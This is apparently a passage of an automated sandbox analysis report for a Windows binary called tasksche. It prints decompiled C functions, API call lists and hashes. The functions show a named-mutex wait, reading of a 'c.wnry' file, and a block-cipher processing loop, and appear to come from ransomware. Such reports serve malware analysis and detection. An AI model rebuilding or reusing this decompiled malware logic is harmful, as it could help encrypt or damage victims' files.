                                                                                          0x004070b1
                                                                                          0x004070b1
                                                                                          0x004070b3
                                                                                          0x004070b6
                                                                                          0x004070b7
                                                                                          0x004070bd
                                                                                          0x004070bf
                                                                                          0x004070ca
                                                                                          0x004070cf
                                                                                          0x004070df
                                                                                          0x004070e4
                                                                                          0x004070e7
                                                                                          0x004070f1
                                                                                          0x004070fb
                                                                                          0x00407101
                                                                                          0x0040710a
                                                                                          0x00407118
                                                                                          0x00407121
                                                                                          0x00000000
                                                                                          0x0040712c
                                                                                          0x00407121
                                                                                          0x00407135

                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
                                                                                          • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                                                                                          • memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
                                                                                          • strcpy.MSVCRT(00000000,?,?,?), ref: 004070FB
                                                                                          • strcat.MSVCRT(00000000,0000002F,?,?), ref: 0040710A
                                                                                          • GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
                                                                                          • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                                                                                          • String ID:
                                                                                          • API String ID: 2935503933-0
                                                                                          • Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                          • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                                                                                          • Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                          • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}







                                                                                          0x00401f16
                                                                                          0x00401f1c
                                                                                          0x00401f24
                                                                                          0x00401f4c
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401f26
                                                                                          0x00401f26
                                                                                          0x00401f31
                                                                                          0x00401f39
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401f40
                                                                                          0x00401f46
                                                                                          0x00401f4a
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401f4a
                                                                                          0x00401f52
                                                                                          0x00401f5a
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • sprintf.MSVCRT(?,%s%d,Global\MsWinZonesCacheCounterMutexA,00000000), ref: 00401F16
                                                                                          • OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
                                                                                          • Sleep.KERNEL32(000003E8), ref: 00401F40
                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00401F52
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseHandleMutexOpenSleepsprintf
                                                                                          • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                                                                                          • API String ID: 2780352083-2959021817
                                                                                          • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                          • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                                                                                          • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                                                                          • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 59%
                                                                                          			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}





































                                                                                          0x00403a7f
                                                                                          0x00403a87
                                                                                          0x00403a91
                                                                                          0x00403a9a
                                                                                          0x00403a9f
                                                                                          0x00403aa0
                                                                                          0x00403aa0
                                                                                          0x00403aa5
                                                                                          0x00403aaa
                                                                                          0x00403bba
                                                                                          0x00403bc2
                                                                                          0x00403bcb
                                                                                          0x00403bd0
                                                                                          0x00403bd1
                                                                                          0x00403bd9
                                                                                          0x00403bda
                                                                                          0x00403bdb
                                                                                          0x00403bdc
                                                                                          0x00403be0
                                                                                          0x00403be3
                                                                                          0x00403be6
                                                                                          0x00403be9
                                                                                          0x00403bee
                                                                                          0x00403bf1
                                                                                          0x00403bf4
                                                                                          0x00403bf6
                                                                                          0x00403bf6
                                                                                          0x00403bf9
                                                                                          0x00403bf9
                                                                                          0x00403bfc
                                                                                          0x00403c00
                                                                                          0x00403c02
                                                                                          0x00403c02
                                                                                          0x00403c06
                                                                                          0x00403c0e
                                                                                          0x00403c0e
                                                                                          0x00403c12
                                                                                          0x00403c17
                                                                                          0x00403c1a
                                                                                          0x00403c1f
                                                                                          0x00403c26
                                                                                          0x00403c28
                                                                                          0x00403c2b
                                                                                          0x00403c2e
                                                                                          0x00403c2e
                                                                                          0x00403c33
                                                                                          0x00403c3c
                                                                                          0x00403c41
                                                                                          0x00403c44
                                                                                          0x00403c47
                                                                                          0x00403c47
                                                                                          0x00403c4a
                                                                                          0x00403c50
                                                                                          0x00403c52
                                                                                          0x00403c58
                                                                                          0x00403c5b
                                                                                          0x00403c5d
                                                                                          0x00403c5d
                                                                                          0x00403c63
                                                                                          0x00403c63
                                                                                          0x00403c66
                                                                                          0x00403c6a
                                                                                          0x00403c6c
                                                                                          0x00403c6c
                                                                                          0x00403c70
                                                                                          0x00403c78
                                                                                          0x00403c78
                                                                                          0x00403c7c
                                                                                          0x00403c81
                                                                                          0x00403c84
                                                                                          0x00403c89
                                                                                          0x00403c90
                                                                                          0x00403c92
                                                                                          0x00403c95
                                                                                          0x00403c98
                                                                                          0x00403c98
                                                                                          0x00403c9d
                                                                                          0x00403ca6
                                                                                          0x00403cab
                                                                                          0x00403cb1
                                                                                          0x00403cb1
                                                                                          0x00403c9d
                                                                                          0x00403cb7
                                                                                          0x00403cbd
                                                                                          0x00403cc7
                                                                                          0x00403ab0
                                                                                          0x00403ab0
                                                                                          0x00403abc
                                                                                          0x00000000
                                                                                          0x00403ac2
                                                                                          0x00403ac6
                                                                                          0x00403b2c
                                                                                          0x00403b2f
                                                                                          0x00403b32
                                                                                          0x00403b35
                                                                                          0x00403b38
                                                                                          0x00403b8d
                                                                                          0x00403b91
                                                                                          0x00403b93
                                                                                          0x00403b97
                                                                                          0x00403b9c
                                                                                          0x00403ba7
                                                                                          0x00403ba9
                                                                                          0x00403bab
                                                                                          0x00403bad
                                                                                          0x00403bb0
                                                                                          0x00000000
                                                                                          0x00403b93
                                                                                          0x00403b3a
                                                                                          0x00403b3c
                                                                                          0x00403b40
                                                                                          0x00403b42
                                                                                          0x00403b4c
                                                                                          0x00403b55
                                                                                          0x00403b68
                                                                                          0x00403b6d
                                                                                          0x00403b78
                                                                                          0x00403b7b
                                                                                          0x00403b7d
                                                                                          0x00403b7f
                                                                                          0x00403b81
                                                                                          0x00403b84
                                                                                          0x00000000
                                                                                          0x00403b42
                                                                                          0x00403b40
                                                                                          0x00403ac8
                                                                                          0x00403acb
                                                                                          0x00403ace
                                                                                          0x00403ad0
                                                                                          0x00403ad3
                                                                                          0x00403ad8
                                                                                          0x00403ada
                                                                                          0x00403ade
                                                                                          0x00403aed
                                                                                          0x00403b00
                                                                                          0x00403b05
                                                                                          0x00403b10
                                                                                          0x00403b13
                                                                                          0x00403b15
                                                                                          0x00403b17
                                                                                          0x00403b19
                                                                                          0x00403b1c
                                                                                          0x00403ada
                                                                                          0x00403ad8
                                                                                          0x00403b25
                                                                                          0x00403b25
                                                                                          0x00403abc

                                                                                          APIs
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
                                                                                          • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403AA0
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
                                                                                          • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403BD1
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                          • String ID:
                                                                                          • API String ID: 2382887404-0
                                                                                          • Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                          • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                                                                                          • Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                          • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • fopen.MSVCRT(c.wnry,0040E018), ref: 0040101B
                                                                                          • fread.MSVCRT(?,0000030C,00000001,00000000), ref: 0040103F
                                                                                          • fwrite.MSVCRT(?,0000030C,00000001,00000000), ref: 00401047
                                                                                          • fclose.MSVCRT(00000000), ref: 00401058
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: fclosefopenfreadfwrite
                                                                                          • String ID: c.wnry
                                                                                          • API String ID: 4000964834-3240288721
                                                                                          • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                          • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                                                                                          • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                          • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79filememoryCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 24%
                                                                                          			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}













                                                                                          0x004018fc
                                                                                          0x004018fe
                                                                                          0x00401903
                                                                                          0x0040190e
                                                                                          0x0040190f
                                                                                          0x0040191c
                                                                                          0x00401922
                                                                                          0x00401925
                                                                                          0x00401928
                                                                                          0x0040193a
                                                                                          0x00401940
                                                                                          0x00401946
                                                                                          0x00401950
                                                                                          0x00401952
                                                                                          0x00401958
                                                                                          0x0040196a
                                                                                          0x0040196c
                                                                                          0x00401971
                                                                                          0x00401987
                                                                                          0x0040198a
                                                                                          0x0040198b
                                                                                          0x0040198c
                                                                                          0x0040198f
                                                                                          0x00401990
                                                                                          0x0040199b
                                                                                          0x0040199d
                                                                                          0x0040199f
                                                                                          0x0040199f
                                                                                          0x0040199b
                                                                                          0x00401971
                                                                                          0x00401958
                                                                                          0x004019a0
                                                                                          0x004019a5
                                                                                          0x004019a6
                                                                                          0x004019d5
                                                                                          0x004019e0

                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                                                                                          • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                                                                                          • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                                                                                          • _local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$AllocCreateGlobalReadSize_local_unwind2
                                                                                          • String ID:
                                                                                          • API String ID: 2811923685-0
                                                                                          • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                          • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                                                                                          • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                          • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 97%
                                                                                          			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}











                                                                                          0x00405bb2
                                                                                          0x00405bbb
                                                                                          0x00405bd2
                                                                                          0x00405bd7
                                                                                          0x00405bdc
                                                                                          0x00405bdf
                                                                                          0x00405be1
                                                                                          0x00405be4
                                                                                          0x00405c18
                                                                                          0x00405c1b
                                                                                          0x00405c24
                                                                                          0x00405c29
                                                                                          0x00405c32
                                                                                          0x00405c36
                                                                                          0x00405c36
                                                                                          0x00405c38
                                                                                          0x00405c42
                                                                                          0x00405c44
                                                                                          0x00405c6c
                                                                                          0x00405c6f
                                                                                          0x00405c72
                                                                                          0x00405c77
                                                                                          0x00405c7a
                                                                                          0x00405c7d
                                                                                          0x00405c80
                                                                                          0x00405c83
                                                                                          0x00405c90
                                                                                          0x00405c90
                                                                                          0x00405c4c
                                                                                          0x00405c4f
                                                                                          0x00405c51
                                                                                          0x00405c57
                                                                                          0x00405c5b
                                                                                          0x00405c5e
                                                                                          0x00405c61
                                                                                          0x00405c64
                                                                                          0x00405c64
                                                                                          0x00405c96
                                                                                          0x00405c98
                                                                                          0x00000000
                                                                                          0x00405c98
                                                                                          0x00405be9
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00405c04
                                                                                          0x00405c09
                                                                                          0x00405c20
                                                                                          0x00000000
                                                                                          0x00405c20
                                                                                          0x00405c0b
                                                                                          0x00000000
                                                                                          0x00405bc7
                                                                                          0x00405bca
                                                                                          0x00405c11
                                                                                          0x00405c11
                                                                                          0x00405c9a
                                                                                          0x00405c9e
                                                                                          0x00405c9e

                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
                                                                                          • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
                                                                                          • ??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
                                                                                          • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$Pointer$??2@Create
                                                                                          • String ID:
                                                                                          • API String ID: 1331958074-0
                                                                                          • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                          • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                                                                                          • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                          • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                                                                                          Download Yara Rule
